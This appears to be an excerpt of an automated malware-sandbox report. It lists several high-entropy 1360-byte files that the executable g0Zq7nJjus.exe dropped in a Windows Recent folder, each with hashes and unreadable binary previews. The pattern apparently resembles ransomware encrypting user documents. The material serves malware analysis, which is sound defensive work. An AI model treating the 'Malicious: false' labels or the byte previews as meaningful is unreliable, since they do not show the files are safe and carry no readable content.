C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870718303719371
Encrypted:	false
SSDEEP:	24:t0NMrchBiznYH63FzE1/vtmGAoTtPoy1YJAK8CoCGbCwbNGEnpcKED4Ui2bD:8MroEznv3y/v2oTRz1YJBDjqXGEJEDdx
MD5:	3B9F17C15E4D79F611F92FFEFED18413
SHA1:	8D74B02DC7FF63C68B49AF90399C83707AF974D1
SHA-256:	2B8ABFA6D766433E171BDD723B37E9C9C37A381019E394A60959D957A04DAE72
SHA-512:	BF920FF7CEBB74D418BAB6A165BA97CF30C703B5F4394167F15C136652136DD4CEFC96CB3853F7967800C071212BFC4CA11126FC89D72C66BB65D9D548DC6728
Malicious:	false
Preview:	IPKGE...C..CfOe.s..9....../Q../u.~.n.. :g.HA.5..\|..of.'..).4.6.~.y.x.f6.X.6!.....8p...k.$.d[.h.../..)...u........"\....m..M,g.z.....W...G/4.Dj..}.Cx.l.O...{..#......L....C.x.c..2.:nA..6Q......B4h.f...m.3...2..........WF._iL....n7.$O...Js.S3.89...\...t..]..>..wD$j..EzWO.............r;x7_...L...j..........s.+!.]<tNkE4M..y;o.g......k.../:gJ8[......[{.:r.W..HG...7..0Z.........<.(..mw..Y..........6i.....$.._....3..B..>.+..aJ't.(.!..s..Qa....V.w..Q..`......wT.Ie.u>..`6........Bh..Z.~..".Rb7.......V.....<...W....R.;.t..".y.7Ji#..bN...).Swo.$..p,.Ty.~h.j..Z...T5......v[.V.h..].p6.....4..QDu...U..U....l.1..Q.:.^.@.&.M..........Ax.u...uQ...bK....;.`._.M.n...G0..l..'..M}te'[...=aH().a......b.'..c.q. ..W.qJ?.....Qu\...t..L..zb...E....y...3......F*....s.abp.{......+.P/....v...G..sh.a.=..od..#r.\x..<r[..(....r..e...ect....5..U......)#.......).r.N.....f]..y...K.g....X,.....M....M$.{.ad5.j.......e.u.q!...=..'....q._../..(...Je4......O.cZ....../.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.pdf

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8585093105377615
Encrypted:	false
SSDEEP:	24:97rcIRji/7e+xdrGQFs9ndzuDdg0Rbo8OzRS6Lv4E8dw2nntv8E+w2bD:9hjijeipGTdixg0SzU6Lv4El2n58EsD
MD5:	3A44A8DF5C0F1481E6C76DAC5E6141B0
SHA1:	8CDC2D308D1F81477BD7454D8CAD3A9E8282F048
SHA-256:	1A6B1F1006B60629E662D06FE2BBB14886FAF5FB9A9369AC70D2199323DF13A2
SHA-512:	165F5A702E0BBDB30FDDD933F107F1BB3A76CB36FBED43319EB0125709B742B16E828F5E909421463105AC10D46D1867DE093A3A6EFEC6228DC48ECCA9886668
Malicious:	false
Preview:	IPKGE...2.f.W.3..{].#9....@...!>..X.(.4.....K.....m.u...gx~4F...c.z~...WC.^.....xm........?...&.T...K...aTG..L...x^."H...Z...~....4T.9..m.A.w\|... p.m..iL....>.d-..&9.....<<.;..+..:=.H..>A...J..?e }...&#..cRZ,..[.._.1?...8.,.V.o...7.V.5[P".e...m.)v~O%._.!y....,K.X..f.;._.l...b5%t3.l....,9..sw..:..#..;.Q=..^=.{...!....s.......e,....;.YZ..j.......vv...e..G...].D....cxlr;...h.3..t.']..........zJ.>......{)......X...h...a.L.#.z...`.ju..........`.;RUq._y..b......G.....%O....f7..+.7D..... ..p.&.>........Z.?......>... .e..b/.J@...($... ^...c].....)v~r.m..l.... ..J..E+.a.. .'7.?O.^.6....0l..gnu.T]"@........ .ua..8.}9J..pPj.V....!(.....d....5......Y&.v...cx...ju..J..b...L......h..`.V.K.....{.8K!<..b.Y.)..n. _e......T...bK..).a.bV.5~l;.B.l......A....Ih.U.......n..j.....U.. .c.....m.....q...l/..+E"t*.A.WeM.^..w..s..h/O3\......_R.&.a.J..........DT.q.`..#...c....w)5..HN\.BX?c..(.8..L$....s.j...P.....'.6...0.&.. ....Z.......g.U.m..k.n..iD...d.y.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JICNOHRHAT.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85243398645954
Encrypted:	false
SSDEEP:	24:QhyORvaWGZF02pbYlmPfkz/4ORc7tZneFYCEjfoWBa7uY92bD:qyu1GZFhu6f2wicRZneFYZjoWBa+D
MD5:	7B909C828A50D4C674A37DEA35D1963A
SHA1:	3DAC2B8621D37305E04A7FDEBAC122462E53CD4D
SHA-256:	817253767C7C50CC66DBDEE2FE817C0438DC4D12AAFC14AE895DBEA7C27DAD61
SHA-512:	95E3A877F5CF9C0808D579A4F36B05B6A4C923C6B2AAF68EE7C484B961A914E126CF801EDA2ABDC84DB9C7D0CB92E1DBFFC71A8337F7C3C6C2A80F5CB817AF0C
Malicious:	false
Preview:	JICNO.M...Z.......")i..Z...3..`Xj.'.6...?.......)?6..[Pc..]mq..ce..N..ta0@k.`.AD.s.....M..$=s....C.j..........\|,.H~..z`.2.\|.....6..a..m.q..o:........&...5y..&g.Qt.e..&TK.....k..j.P.X5s..m.0e..4..b'...7../..j/....\@...>y.....#-...;H"...D.P}"4..#...q.]...7..}s3...SIE(...0.....J.B...Z...H....j......G..E..cgkk....p.>,.....<.?.Q.R)...\...v,.......(.7Q..CbS.@=Vux ..^%&...."..bR..9k1.@[.....Hiy.R..1...a.....Z._..^/.....k.<j.&)F.y..(H.%.....5Yb....K....L.:........8.].<.G.I...{....Lz../.....nkLH.Vhf{.u.aB.....a..#.....aE.....\|......c..g.0WND?...G".'.8A._..G.{..Ex`.....Q.W..h.....~n....F....$7..........N..YY\|?;....}.0..K6...X"T<....\.9..~....v.bS.^n\.l....:.A....U#5.r`........s.....9.Y.}!...Zl7.]V_A.4%4C.T.>...b.^..=.d......%...m.H..=.......y.`......~.......F=s.j..S+dJ.T[..Q.m,.H.....a..H....i.d.oe0.JG.U.Z.;.^...'...*.q......wb.......2.....iq..h9.!....vk.c4.V.U7.....gG......X....=Hq...T..T.%.....TN..3..-......Y.aV..J#W5..v...F.8.^..o.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JJMNFRKQNU.xlsx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847773187652006
Encrypted:	false
SSDEEP:	24:YPgH7jgi1g6+cjPg1o3yl+dKGUzX8byA+NDMtiQkJjrLuVDrQ2e3lpaL2bD:WgH7jlmUg16ywddUzX8byA+1WcBr27eR
MD5:	4C0BE73B95694AF3FC3B0143416673C0
SHA1:	C82A9881C8DA4288934B571A4F38115DD71984FB
SHA-256:	225F59128C90141F09457C4CDE48DC362283457A54E8F1A949A3EE3D0FD46172
SHA-512:	B285127B3FDB5042EEDBA9EDE8FE0A289B361D5AAC90E3D7A279CACEEE2E5169CC6DFA969F103D737FE4F8BD3A645681E25C179A74A46C8C6F59D0D3A446DFE0
Malicious:	false
Preview:	JJMNFZ.-"...QhH.....3.....!x.[gPP.Q.ra...x%..@=yl..K-..t.....SmR...N.........`.R..={v..,N2TU...C....l)w....h....B........J....~..O...z4m.....`.L...,O\.ck</.RF.1(..z...[.Y-Z.v...Jh....h....6.........#a[.Kk!..C..h.8!i..C..[..n.?E\.h?.;1....;79.......H'$.(..xB..Pf..x...1L....Z...h]...o}...'M..H.....P.q+/.WP.a.T}..4N..Q......EnJ..#.....D............7.u..q[...<..D.c..'0.v...H...._xg.[.rC.M.7TA..2..;cikSB.S._.;w.q..jr.z.<lbn..S.ry.\".)Dm'.,9 ....<......=>.Jl.5.,.Y..9..%.N#.....<mk..^..M...K.4....4......J.O.=BY....G.!..y~{L#`W....;.T.....I.q.......7.}y5"..c'....`..@.<.......qLe........j...wb%.'.c...s..z.Ve..Z....{.w.g.......#....9...R...)..\|..P.D.F..*.s..ue..r.f0.W.......@".../....{F.. ^.:....93..g@..o..qq..r.c-...p(...........vU.....E#.v.A....;vv..Y...=.s...)....6....>..J. Vz...H.._O...r2..tJq.x...N!h....Hp-...ssU.......o..r....'c+.1....4......^O..-.N.P............J...#1O#.c7.%N;..g...X....#=.J..w....r/.......$.n.o.f.='.........=cv..Vd..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.docx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867352353377945
Encrypted:	false
SSDEEP:	24:bni67gQkG7bkAxrxvjpqiMHETC4z82irOFr/e1eSX1GBra/T2bD:267ZkifpHMUCv2irOVe0zQAD
MD5:	89A7BBFB38845E844C66FD4ACD30A913
SHA1:	D06E069ACF5E725FDDDF98B3F59F9857E4690BE8
SHA-256:	2F3229778B351BF283A41A8C42A097A403BE88D68760D8C22AA7934265BC164F
SHA-512:	EC88F4A886A1D846DF735C20C5B57F125DB08A79B0D86A25709F75704DE3476EDD7FCB0EDFDCB0A529BF312357A1996A22029D9045A987A49287E2B2D14B488D
Malicious:	false
Preview:	KLIZU.'...D....>...g.6!..k..........1...Fc0.S.x5.Et5..G...x+.y.5.]...H.....w4.%u( .....$G%.(/F$:..+.S[........x1....$.....\|qI..0.,...ATF2..]=D...Y:..`.dBf......r....`...!Z..h...\.5....F...qx..{^?....i..$L...U...\|.1+....F......p;.#..f..X.............O...@...U.k.` .9).4...%.K/.0...o.o9..A...,..`.z.3.F......Q..b...N.....G.Z..:..xBS.9...f..%.S..,W...B..l]......=K...R.$v....~... .....o.,1!.a...<9../..]...b.f\|.....TQ.oX..E...q.<..LS.rRUjw..V.......@.a-s...f....Q..r.v..r<JP1..R..c..Z.>It#...z.o....V...K..2....sm..W...4r.A.\z.l\|\..O.(....{.6.%r..$.....NG..h..?.!5[F.C).}....../`S.`..=..I........m..@CD..y..X..?.o..p-...yeq...../;..hb;.u.}.v:.....R....,.K...T.j.4XG..lB4.h.......3...]..dcQ.?[%.$......XI[.1.......{Pi.wx....7;..tg?....;.W>.........R...=@..<.4..j..jC....Q......e...K.\.L[..XA6f..:......R:..m...M.......&..>D.8...L@...V3p.o(q.-.....[.=.#(..,.n.t.d.3..zQ....k.dcs....j=....G....G.CyR.......sl@.#..."NY. ;..[Z..../.xIf..\...}.....+s..J.f[)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857100983322151
Encrypted:	false
SSDEEP:	24:bM3o9s51IICLH67mcYLB9om35XiDE+v6hk+pKxR4k/aOvO2bD:YoqnxCLHL9os5afsKxR4k/ae1D
MD5:	97B1E9727FB767E488187E0842A387DA
SHA1:	C9C560B7D2CCF4F9927CF37088C009D4A104002C
SHA-256:	4B58845B6AC42925BED08468295C5006FACBF4797F738E48ED12F429A64C3333
SHA-512:	41D496509BE471CD063AB9E7E0E29B8720AC5FB558F28516D09D7E680388C7A95439C3E98B02C00224F9CD29FB8D062C79DB769E32EC5C7858224D0569E0963C
Malicious:	false
Preview:	KLIZUG..4A0YHy.vA%g\|.........q'.;.D[..ap./g#c.n.-..d....%.T...T/8...=..p.)...e...i.uOc2"L..H.y8po}......F.^OD....k.%(.......h..,.7.m...7nP}....j[Y.k....Y....v..$?..{g$.cl.........2m.j.N..VJ@.I..0.u..A....-.g.3.."..,"R..._u.i-W..h..>.!.....8.5.W.0..z.&......(.......o.V._U.......nf..a...tH.w...b...p.........4.......B.C.018.G..6..6...m..=..R.D>O.j..,8.....1..UY,&.v...,[...<..1.ia....a..ziL....^..q,{.\|Gh.28G.._-u0...Q.L...g7..O.I.......P..)I......E.A..a._-...]./.`CE.Z4[f.6.7.nRq..hHw..v...... %..2..2.''XUE.....j..a...A.~C-..;...dwE.m...IN..S.}....P..$...;..`....:]Z2.u........?...p...\.i5-..... ..cq.AI......,.Y..uU.{...[..rE.(..?...G.....m..:..E..:...RV2..l .4.F<.i(...#.E...b.A.a.e..px-...=.J0r?1[.U..9..j....{'.K..O...I...t./.d.\.&_..G....L{W..%uZ.5m.G.%k..]rs.s..C..W ..5.....@.....j.+.....D.f./i.g.~.e....L......GG...%..@......B(.q.L.+.SI.a%B.y...X....).:..+...jJ...C..fn......]..1.)dbx........H..h.5.a.4..l.voU.=;...%..'...`).q.a..^.m....3...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LFOPODGVOH.docx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851548642248384
Encrypted:	false
SSDEEP:	24:9/8rV6bUpTv9oE5AfPSBwvDWxEQif3tAzMLqIy3xo2bD:emCFCeYWxEQY3pLqXBbD
MD5:	EB9C237258563A9CD5C7EABFF52F8C59
SHA1:	0FA4CF790A6FC4B1491C9759B0B3DCA75D71A570
SHA-256:	AF16DCE10C6220819332ED37178D2D2FB561D178684FA72600AAF0F8CD8B5582
SHA-512:	223D667FA75E4678BF32155AD36640C437C7D7E8AFF9D9109C3D7974136F83E133AB022F01FF148EA80B3BC776C26B7E8760E1CB7412C717DE6B9C4131C0AA70
Malicious:	false
Preview:	LFOPO+..kJ......g.dB...D....."..&....../.Q3..Du.....t..~.......((...e.Y.I.wc....q9V<vx5.k.&.a...Mf...T=.Z......u.._Jo.b..w}.,I./f.B.Io.g....S...Q.m.XzB....-?..U\Vx......'>...."Q..QO.."Kd....l/.oD..S.^.....A.S: ...]....!...}....(1}...I..@..N..u...~{v.kdd..%..%,.3..z.[.?a.MM..2&.{}.....7....wO....s.2...$.^..R......c......a.xG.U@oT.4.$).:.=G[...S{..C....v....ebs.R..r/}+).....H7.7..!M..1y]Y~p^w.FE.?.o..WJ..7H..%..J.8NRPe......9IC`.Lh.P.D.).q0.......n.I.....g8X.q.XAE?YTf.....qa.y4.E}..\|.0...n..h.a...T..I3.n....0...G%B.{.....@?)v6cO......%.....v`7....e.3#E.@x.m..^.D..7.Q.Dp9..-.&.q\|i.T.9..,.A.....nv.m~..\|`{..'&y..c.h.........a.q......?.C.[.E.......x..U..AR.V'..l.;.7.x.~R...7.....}:. ..F...:..w..,...UGK..!6N+j.&Uzz.K........-....a..[-.W.[...F...+\|p_....&.:s.M..".n...H...3...8Z..i.}3.....~2V.....HG..z:@..&../Dh~.>.o......).y.$h....3.j.px...d..\..%.nT.....e....J..0!.=.O..+fH@pklQy...Hn..R.;8?.{."..A?..#k.>:..%...{%..4b.dSn..\|.c..4...Q..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868293937148658
Encrypted:	false
SSDEEP:	24:K6mR0usfEwgmbu1zEygalzvuhf10owYLcyc28fVOUaTxOTx2bD:KRRpIRu1zEyl7U1tkNfVODxEKD
MD5:	6354E4C00F0EF71BAFEAFC969C9BAF82
SHA1:	3DA21B470CA1C221054F28370028E295400588E4
SHA-256:	DA093399F60E194CA8A88AF68FF2D20E1FA1E952AD0102ABAEDBB3DCF3F1CF82
SHA-512:	E437CA2F80911C25B781CD7D9592AC22F3DA4D31A1162E0B06DBCE3D95C4CC03675111AEF2F3D6CA8753FE3300F1C9B01278F28889C743558539191F2FD0CDF9
Malicious:	false
Preview:	LSBIH...+.3i..k.`..:^......].."...E....B.~..@....]BI,.....4....w.q.D.EQ.\..@.y..3.cz,.{.:.[%..\E9.5.0..7_.{....o.$.$S.$Rb.......7/.....Fc.\|m.`...w..`..%.W.....Jh@..`....GI.4..3'...Y."..R.8..}.r.}.].Gi.".0..t.e.cE.`..........}<O#\|;..d4.cxf........Sr.D3.....e..D'.A..............X..N$.0....`....._k..!C...b.w....7....{_.#....3>.......@..fl.....4......#..<...%..vc.OvG...:..F4.@Qw]..C....D[........\|.e...)..f.E.nj.?.Q....[.$.>..X. H..Q...#..[..G.4F._~g.W.....1.........}...g.........i.....L.....L.)=..........2..\.g.R.Z.8...}.m...d....C=B.Q.o3.........Lg.....35.}..9..\../sR.&`.d...;..sfv.....>.8.<i,.#f..{.....w.js.l....IN..~.+...`.K...,f......,Gq.....Ed.&.h...K>.0..Ua.R.W..oM_.)......x......O.Uo.Fg..>....d.........Lk.=\.5M..y.;bz..Y..W.....sH../.,..w... ..x.-.B}P..v_<....=!.....n.u.-..4..Ni.;..'H.7.k.n..k..SMmL..r....Z~..?......v.g=......:.....\|G^.i.....7.%.G..l.tt.". G.L.8Z.&/^......l.b.ryB......JVW..F.qeDw..z..=.T.....1*0$f.....y.o,.&..:.........Z..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LSBIHQFDVT.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851556002201207
Encrypted:	false
SSDEEP:	24:KZCC2E/8vABN8uR6KaV9cd9RfhKoHU98MU7nLSEhA8z6xF+9SlpiImAwWNoq3JOg:K2cRhaV4RfhKoHi81DLSEa8z6T+9wpiC
MD5:	FAAE7CE7A8E2E09A65486A07F8E78607
SHA1:	5E4C026FF260982EFAB35A5DD8CCB77D723B125F
SHA-256:	DCFD4140968DC4CE461DF904E595785CC5590627DC589C71D87F25C04581EC44
SHA-512:	5AB1D5E5BD480684FAA226996DDA43FB270CEB8657B66EC8AE04AF191B29B60D430C72F01C44A8495B10E049CCFD4EA710BDACDB56E54B19638BF70C779E8F3A
Malicious:	false
Preview:	LSBIH>a......'.N.A.3y.\|4...c..i....]...U.Nim.fK.O..).n.n....Y...Y..5...t..U..\1..#...y.)c,kE.=!.H..1....6.w.t.N..e,.:.or...l.>r....0....:=~...S......o..u.........Zms."Z.R........l...w2.......r..B.a...{..,..S.$.q2.`..>'$.}...t...$R.+.}.h..h...j.l.....R.V.0..v)....r.......u.4...P...Eg.7.....61"..._.4...3..................A2.d.i.Iy...8>V}e......Y..J.j.R...(<j....H.u..?...^0}...~..~...$w=....? _FmDB.C.I%......E....=........k^.G.d...N.;!I.:...oh.-1.9}.....ea.8....G.....i..X.K/..xJ!&...i....&y..I....s{..q.\|h....).[&..y'......Z.6d.R.......".6R.6...W.....y..p.v.gE...<.QE..h...?N.0 ...Y.c..D.y3hNU.....1.D1.,X....}...k.0......E].....:u$8)....yv.p[....w.&...) VK.>6..........=.6....q..4..A.\|~....QxZ2W.`Q..[..V.vG./..].1.l+[.i .LU..>.M.t.Z..Y. ......{'.7[.E..z...arj.......Or.i.5..(..5......>...+.gFU.#...\|0Jim\|`5..{>0.9..(D..'e].._..m...UY.e.....S.."............}..~....F.v. ......M..y5.+7....C..]..`.j.".B1...$.o.....0......b......U...@u..]..a... f

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856246788578725
Encrypted:	false
SSDEEP:	24:K8MHeeeP5JjtSYfRYQExqYgHnIylB7Tnw02kNV1TDc0NVA1TLx4LK96Oajw4VXza:KWHSuYQEUYinIylpBPb1D5V6TLnmPVXO
MD5:	14263DECD5C5983A87E331AA9D6CA053
SHA1:	1E4FD7E932E1053BE107B865DA8DBC2D6CD70DB3
SHA-256:	52B9CA3ECF83A329C73BFFF71CF94FF83697449E13A8990531CEB6D0C9512C32
SHA-512:	A73F88BBDA28183FF36E8A89397D783DCA8E5341C67ECFD4C1D7FD58E37754BA66773CE997E799323E72E490F8E9516999560FAFC1F3998F1DD60E4EFD1E089D
Malicious:	false
Preview:	MXPXC(.]..? o....4.......u..Wb..J.{...>..<Y..2,.{..W.Ab..K,..z\|....s..0.A.Z...........=..Nr......X....\...z.n.u.~.^....).s....S.....g..g....YL.&...i......a.A...G..%....M..&.Q.,..!6...a]...W..).....7.e3...U....V.9r....h..V.4;....\ss.N...4...}...z.K..V...-.4...dqC....e....=)T..y\R.w....8.C...X_.3]... ..z.......;.hP....p...Bd.#..p..y".x..\|B...h ...Jb.._..Pi.]...?2.....a.R__C..6e.(za.....Z!...e.T...tI_..#I.L.:m....n0...W...I.iWn...s........#,.I....W9({.%...............{r..+......."..p]..T6u....a.xM..`...s.>/..".:S.]YO.z.F^jY..X.N....c^.[.......{........S.."{........7.. ..........\|c[L.K.....-!..-+..2}?P.[AM.\.?..;zH..1{..._'..l_md.oe.......8.'pX@o.6.....P.*..V....on.X.6....i...l.S<.C..E........:`....... 5D49'q..\....m b..........5.....m@......e.j5..MbTK...Y...hG#.f..f'~o.".....\|...\..0U.,\|N.''R.$....s..m2....H.Z....qc.....K.@......n&\|~.......F!Hz.'.zN......Oh.}Dx..&^.......5......-.n..0.C/0^..'..#.!...].-"./\..w..x..5.T..a&4.....Z/..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.jpg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8530417300502195
Encrypted:	false
SSDEEP:	24:zWQvXwFwet9jeJSbz5amcw5RQO2iaYtyf/4O+VgVViH9g1XvxiHPZt65xEo/2bD:zWQ45aJcjxbe/4O+VguukHPoxEpD
MD5:	AC3D3DD393461BD7BE1E25212E28ABAA
SHA1:	625CEE8C11B5C461507CEB9B97108FBCCF0B5669
SHA-256:	78E5C892AFAB6E1FE77042B3C90BD68A8F44E4C5E304BF93833C9D1A1767C5C4
SHA-512:	B5C14ACC72954DB12E76804D3DE0A661A53CF37C6D6F3C07933F8284F2B562F1C390BDC10278C46E70FC222C02F1105274447DB2B006A9D3D28E972DEA672E6A
Malicious:	false
Preview:	NEBFQ..:.n...C.-..s.p....X.9....K.`4,.#..%.B..K.{9.{....#.y.[b~....'..l....w.........L...<~3.j..\|Rp.;..1.q1.9.x.(.6........nA...A0...uY[.Ti....U....q.r(.[t.@8C0.y.E...]....sJ.3....3.Y..>6...~.jU..~C..'.Lw.V.t;Gy...R.......n.K.=@G..P..t@..F..k.S..z/....6.U1.~yK..j.3..;c..Bg.u.'....q......\v......B?%v'.*..O{.2..i.$..P..A.cMNc..b.....6..9[..<...........l?B.zkNc...d.=yf=...g0.m.^..D.Z.\b..f...=./.N...B...../Gj..`.,/{j.3K..D...T_7....[.+...&...?@...a..O #v........u....6..5..w0R.....].Av...B.8...IH...{...M.cO].....C......U....."....o...3.8...JuK.;R.l>.13..o. .U-...E..%.W>......jR.;.3....(.....7... .Z..VB..Y.......C/~e.x........4...3..w.7.u.}.....A...'....&.,f..#.....0.x..i.jt..@~\!.#R.;.ns..mTw...8..^.@.(N<.z.h.v.g.}.c2......o.SU.'y2.....%...F..#..g.8F.R\|..JU........?.w..s...?..1..k.I.\|.=..~.@.....f..R.@h...q.Q.M`u5.ow...F.oi2.......w[!.....>.V....\/JF71.\|...EE.....r..)xW.%.u.....Z...A.^!.I.?.g"h.]}..h..@r3.r..Lu..i...`.8....HX...]B-...!"..."E.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856327507316725
Encrypted:	false
SSDEEP:	24:zXlXrU9THHsItmO02wsC/NE34fXJaSKd09rDd5o/Ko4WGZJ36ifnB0iK/0x4L01U:zXeHHsBL5VE26adTroQJqiS5MxPKD
MD5:	1A965A237BA25783DC6775AE92725BCB
SHA1:	D8E1916C1B8562B7F351591DDFA90B8C9C2F6556
SHA-256:	7E5F7C3B2B7A661975555C7412888F342CA7B4D74B48351C6E5D542D2E470D14
SHA-512:	A3E5F59155DFBFD64780164ACDC4CCE378DA1CC5D30B395051DE172C2B658D1385681CBF23848DEA3C12A1B1B0B6CBED43E7694E4D2779759A2C129163D84C3C
Malicious:	false
Preview:	NEBFQ...^..!.?..T.Pb.rl~!....0.......1o.`.....A...1..[.....5O{.pT...z.=........U.c.....=.e.^+..U.k4.&....w......1TB.B_BFKqC\CzF....9..-..Lma..;....aq......;9"......w..du..bS.=9P......dy...i...'..?(...Z:.Z......<....O]i.=D`....+D......S9....bjk.n..Bg..Cxg.G.z....4......T.F...<K3...wdS...gw...{...O....._.......xe.......$.U ...(.4..:J..>.........).t,........o.3..a....K.7.!.O...ZsV.A.@......'4n.Xq.3;.x...;o...2.B:dN.?.Dz.........^\.nf..6...e.Xc..n.:.g.l\|b.6.W.......?.Q....R1..(2.+."T@Hz..s`...6\.J..@.7).>6k......"2..<.;9.6P].....Kh..C.-..Y9y,e..4.$...D2. ..1.:Q...VQ.}..ci<2.).VI.v......h4..EB.NET1z..{.E.?{.]G.B.pI.A".,A...I#...3'H.}..nE...W..+J...\.F]F9.b.t]q\.........r.q...lX.........J.(..B.W.XG.JR..Zl...V.Q..1t.6....K.!._..M.....P......!....e,.c.Q..A.R...p.(.fd.....}/..w-..Fp..No>.h2na..M.z.oD.6.7..0p..DX....i.." .R...W...r.Ad.>G>..;..,=.J..w(`?L..U.4&0. ...>.A...B.Nm.....M........)..2`.k\|..gf.$}f$...B..h."./.'...J..y.[...n....'?...+....v....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ORJXLKGWYJ.pdf

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860291358536041
Encrypted:	false
SSDEEP:	24:LfpPOnfzYyRNq5UDWyLaQzp8b+Cu0qH8LyNuz/tn5mb2E65HV2bD:1EfcyRNqeWyUbT2Y/OwkD
MD5:	34BE8F5B4EB8819CF899DE4080C46586
SHA1:	A896DB8B4B0957E14257010A39B83363C9686ED7
SHA-256:	10985F0685BE73DC19E3C5E60B6349A2B929A0D731177CDF049B96DFCB922A34
SHA-512:	055B1E5E127332BDBECA2FDEB4E1E4A0C2BE0ABBB76FD65A3A38A318A757BB1AEE79FEE8FB7E3B0522B72F49DF947FE1EEE428544A1A20C13AF1A5CA7845A3DB
Malicious:	false
Preview:	ORJXL..$.H`..f..De.i..Q.w.'G..:P.(V'#4..oM#q.;.S}.4;=.J.g..b.x!.e.,Ih.y...8o..F...zN(8}0........@...4.0.o..J@..c.L.Mv.f.3-....&}F...../(...7.&...&.^}G/x..\.0....N.E.4..rx...p..f.en..[.\,..eQ`......~........A..;._Y..w..4K...o0..s.....6.....!.....oT.MD.P-.........S.......#y.'..S.Z.j....>UZ.....Z.. ..gV.Z8.Bw....j$s..{.._...!...#Q.(.q..-._....:}#%A.R{.?..B......v..k.v~.7u=.Tm.H....w;{...9..M}!..s.@j....n..ai.(..M.....m...`w.....C........1...o.....z....Y....t{L...Og.W.../"B......s..D..H...;.).ro.gJ..kp#...$.........2...C.du...Y`Y@..Ijc.....SZ...IJ.....>g...bX.`.U4..i&.....3..6............R....M.......=.y../.R.......".WJ...u?......o.2.K2.d...2z..y.N$&.Z.....$j'h&0.5$.Jj.h.. =^:.....ndD.k`n.......@JP........[.}...\|..B%.....7...b.........H.v.^...$j..YQ.cu56Q..Fb..v\.e...^w...'..F.KfTEy....N.+g..!G...,.f.....Z.....l..L.....Q.a_x.....X.X/x..xO{y...$..3.O.......m....[...;..NSb(.R...S4..........).=.>..^.i..,..].e.....s.<.P...SS...<....>`.f.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.jpg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842392418510912
Encrypted:	false
SSDEEP:	24:OmrBXroJUsGnm9vPL7x0gA+Y6vExMtJArsJQwv3r+cO0m8MN7pCh2bD:5B7sEmhO7+OWtJArsJQwv36cO0m8MN71
MD5:	DF239DA6A85A314A71D7D06C53064DCE
SHA1:	47EEC2117B9FDC3ECD76E77AC237D5C6DDE134C3
SHA-256:	3A840E89E168817EE8105969A57932C4AE41942FF637081C16D09137328C56DE
SHA-512:	154DA240080285C26712DC13706832AC5DD0B1D574367A92FA14235F312D8D04882D391BB218E232E395320B2DEBA011D9EBF0745F13F2738789FEB0166BAAA5
Malicious:	false
Preview:	PIVFA`4\|Q...?I<.....fzV........T.......,....j.o%IS.r...Z.d......r.N.j.e~...~.y...`..G...Y........;..u.>......#x...P.3<.X.x?.2+F...P...E.........+.....0:...5...KpA.<8..Y..#...\|g.:...D.....m.v..y>...k..H.U0...#\..E..<.c.].Q.;W..=./}CX(..+>e\|.!F.m.].....)...,I.I..n.....:..KK..\|.......gs5v..>.(.......Th..Y.v...6...e..........y<hst.R'.Epp.....O..)i@'...~PP..n&h.....p..X@8.I.s..$..u..$..+.........RSY..:<.tDw.(..P.&..g......s.V..,xR.\...r....(..P.~H.-....{U\|@..V4.2.:...a<Bh...~4..l...,.._n.....x2e....o..n.}.h^.2..s....^nc..O.1.8..E..dK.;....yW..o..='.!........H=..U.. 